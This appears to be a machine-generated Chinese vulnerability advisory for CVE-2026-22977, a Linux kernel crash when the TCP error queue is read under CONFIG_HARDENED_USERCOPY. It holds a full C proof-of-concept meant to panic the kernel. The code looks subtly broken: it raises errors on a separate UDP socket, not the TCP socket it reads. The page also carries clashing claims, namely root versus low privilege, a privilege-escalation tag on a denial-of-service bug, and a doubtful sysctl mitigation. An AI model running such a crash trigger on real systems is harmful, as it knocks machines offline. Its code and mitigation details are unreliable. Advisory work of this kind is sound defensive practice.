IPBUF安全漏洞报告
English
CVE-2026-22977 CVSS 5.5 中危

CVE-2026-22977: Linux内核skbuff_fclone_cache用户态复制边界检查漏洞

披露日期: 2026-01-21
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-22977
漏洞类型
内存越界/用户态复制边界检查绕过
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel内核漏洞usercopyskbuffsock_recv_errqueue本地提权拒绝服务CONFIG_HARDENED_USERCOPYTCP网络协议栈

漏洞概述

CVE-2026-22977是Linux内核中的一个中等严重性安全漏洞,存在于网络套接字错误处理机制中。该漏洞的根本原因在于skbuff_fclone_cache在创建时未定义usercopy区域,而其兄弟缓存skbuff_head_cache则正确地将cb[]字段列入了白名单。当系统启用CONFIG_HARDENED_USERCOPY内核安全选项后,内核在尝试通过sock_recv_errqueue()函数将sk_buff控制块数据复制到用户空间时会触发安全检查失败,导致内核崩溃(kernel BUG)。此漏洞影响内核的TCP错误队列处理功能,攻击者可通过触发特定的网络错误条件来触发该漏洞,造成本地拒绝服务攻击。

技术细节

漏洞发生在Linux内核的socket错误队列处理流程中。当TCP协议栈使用alloc_skb_fclone()从skbuff_fclone_cache分配skb时,该缓存对象未配置usercopy白名单区域。随后当skb通过skb_clone()被克隆并加入sk_error_queue用于时间戳报告时,问题随之产生。用户空间进程通过recvmsg(MSG_ERRQUEUE)读取错误队列时,sock_recv_errqueue()调用put_cmsg()尝试将serr->ee(存储在skb->cb中)复制到用户空间。此时__check_heap_object()检查失败,因为skbuff_fclone_cache缺少usercopy白名单配置。崩溃偏移296对应skb2->cb在skbuff_fclones结构中的位置:sizeof(struct sk_buff)=232,offsetof(cb)=40,fclones中skb2.cb偏移=272,崩溃偏移296位于sock_exterr_skb.ee内部(272+24)。修复方案使用本地栈变量作为bounce buffer来避免hardened usercopy检查失败。

攻击链分析

STEP 1
Step 1
TCP协议栈通过alloc_skb_fclone()从skbuff_fclone_cache分配skb,该缓存未配置usercopy白名单
STEP 2
Step 2
skb通过skb_clone()使用预分配的fclone进行克隆,克隆的skb进入sk_error_queue
STEP 3
Step 3
用户空间程序调用recvmsg(MSG_ERRQUEUE)读取错误队列数据
STEP 4
Step 4
sock_recv_errqueue()调用put_cmsg()尝试将serr->ee数据从skb->cb复制到用户空间
STEP 5
Step 5
__check_heap_object()检查失败,因skbuff_fclone_cache缺少usercopy白名单配置,触发kernel BUG()
STEP 6
Step 6
内核崩溃,导致本地拒绝服务攻击成功

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2026-22977 PoC - Linux kernel usercopy panic in sock_recv_errqueue * This PoC demonstrates triggering the usercopy BUG when reading TCP error queue * with CONFIG_HARDENED_USERCOPY enabled. * * Compile: gcc -o cve202622977_poc cve202622977_poc.c -lpthread * Run as root: sudo ./cve202622977_poc */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <pthread.h> #include <linux/netlink.h> #define TARGET_PORT 9999 #define PAYLOAD_SIZE 100 void *trigger_error_queue(void *arg) { int sock = *(int *)arg; struct sockaddr_in dest; char buffer[PAYLOAD_SIZE]; /* Setup destination for TCP connection */ memset(&dest, 0, sizeof(dest)); dest.sin_family = AF_INET; dest.sin_port = htons(TARGET_PORT); dest.sin_addr.s_addr = inet_addr("127.0.0.1"); /* Send data to trigger potential ICMP error */ sleep(1); /* Send UDP packets that will generate ICMP unreachable errors */ int udp_sock = socket(AF_INET, SOCK_DGRAM, 0); if (udp_sock < 0) { perror("UDP socket creation failed"); return NULL; } /* Send data that will be rejected - triggers error queue entry */ for (int i = 0; i < 10; i++) { sendto(udp_sock, buffer, PAYLOAD_SIZE, 0, (struct sockaddr *)&dest, sizeof(dest)); usleep(100000); } close(udp_sock); return NULL; } int main() { int sock; struct sockaddr_in local_addr; char cmsg_buffer[CMSG_SPACE(sizeof(struct sock_extended_err))]; struct iovec iov; struct msghdr msg; struct cmsghdr *cmsg; char data_buffer[1024]; pthread_t thread; printf("CVE-2026-22977 PoC - TCP Error Queue usercopy trigger\n"); printf("Requires: CONFIG_HARDENED_USERCOPY enabled kernel\n"); /* Create TCP socket */ sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { perror("Socket creation failed"); return 1; } /* Enable error queue receiving */ int enable = 1; if (setsockopt(sock, SOL_IP, IP_RECVERR, &enable, sizeof(enable)) < 0) { perror("setsockopt IP_RECVERR failed"); close(sock); return 1; } /* Bind socket */ memset(&local_addr, 0, sizeof(local_addr)); local_addr.sin_family = AF_INET; local_addr.sin_port = htons(12345); local_addr.sin_addr.s_addr = INADDR_ANY; if (bind(sock, (struct sockaddr *)&local_addr, sizeof(local_addr)) < 0) { perror("bind failed"); close(sock); return 1; } /* Setup message for receiving with error queue */ memset(&msg, 0, sizeof(msg)); iov.iov_base = data_buffer; iov.iov_len = sizeof(data_buffer); msg.msg_name = NULL; msg.msg_namelen = 0; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = cmsg_buffer; msg.msg_controllen = sizeof(cmsg_buffer); msg.msg_flags = 0; /* Start thread to trigger error conditions */ pthread_create(&thread, NULL, trigger_error_queue, &sock); printf("Waiting for error queue data...\n"); /* This recvmsg call may trigger the usercopy BUG */ /* when skbuff_fclone_cache is accessed without whitelist */ ssize_t ret = recvmsg(sock, &msg, MSG_ERRQUEUE); if (ret < 0) { perror("recvmsg (error queue) failed"); } else { printf("Received %zd bytes from error queue\n", ret); /* Parse extended error information */ for (cmsg = CMSG_FIRSTHDR(&msg); cmsg != NULL; cmsg = CMSG_NXTHDR(&msg, cmsg)) { if (cmsg->cmsg_level == SOL_IP && cmsg->cmsg_type == IP_RECVERR) { struct sock_extended_err *err = (struct sock_extended_err *)CMSG_DATA(cmsg); printf("Extended error: origin=%d, type=%d, code=%d\n", err->ee_origin, err->ee_type, err->ee_code); } } } pthread_join(thread, NULL); close(sock); printf("PoC completed. Check dmesg for kernel panic if vulnerable.\n"); return 0; }

影响范围

Linux Kernel 6.12.x < 6.12.62 (with CONFIG_HARDENED_USERCOPY enabled)
Linux Kernel mainline < commit 005671c60fcf1dbdb8bddf12a62568fd5e4ec391
Linux Kernel stable < commit 2a71a1a8d0ed718b1c7a9ac61f07e5755c47ae20
Linux Kernel stable < commit 582a5e922a9652fcbb7d0165c95d5b20aa37575d
Linux Kernel stable < commit 88dd6be7ebb3153b662c2cebcb06e032a92857f5
Linux Kernel stable < commit 8c6901aa29626e35045130bac09b75f791acca85

防御指南

临时缓解措施
在无法立即升级内核的情况下,可通过以下方式缓解:1) 监控系统日志中的usercopy相关错误信息;2) 限制非特权用户执行网络操作;3) 使用SELinux/AppArmor等强制访问控制策略限制网络相关系统调用;4) 考虑在受影响系统上临时禁用TCP错误队列功能(通过sysctl net.ipv4.conf.*.accept_errors配置)。最佳方案仍是尽快升级到包含修复补丁的内核版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表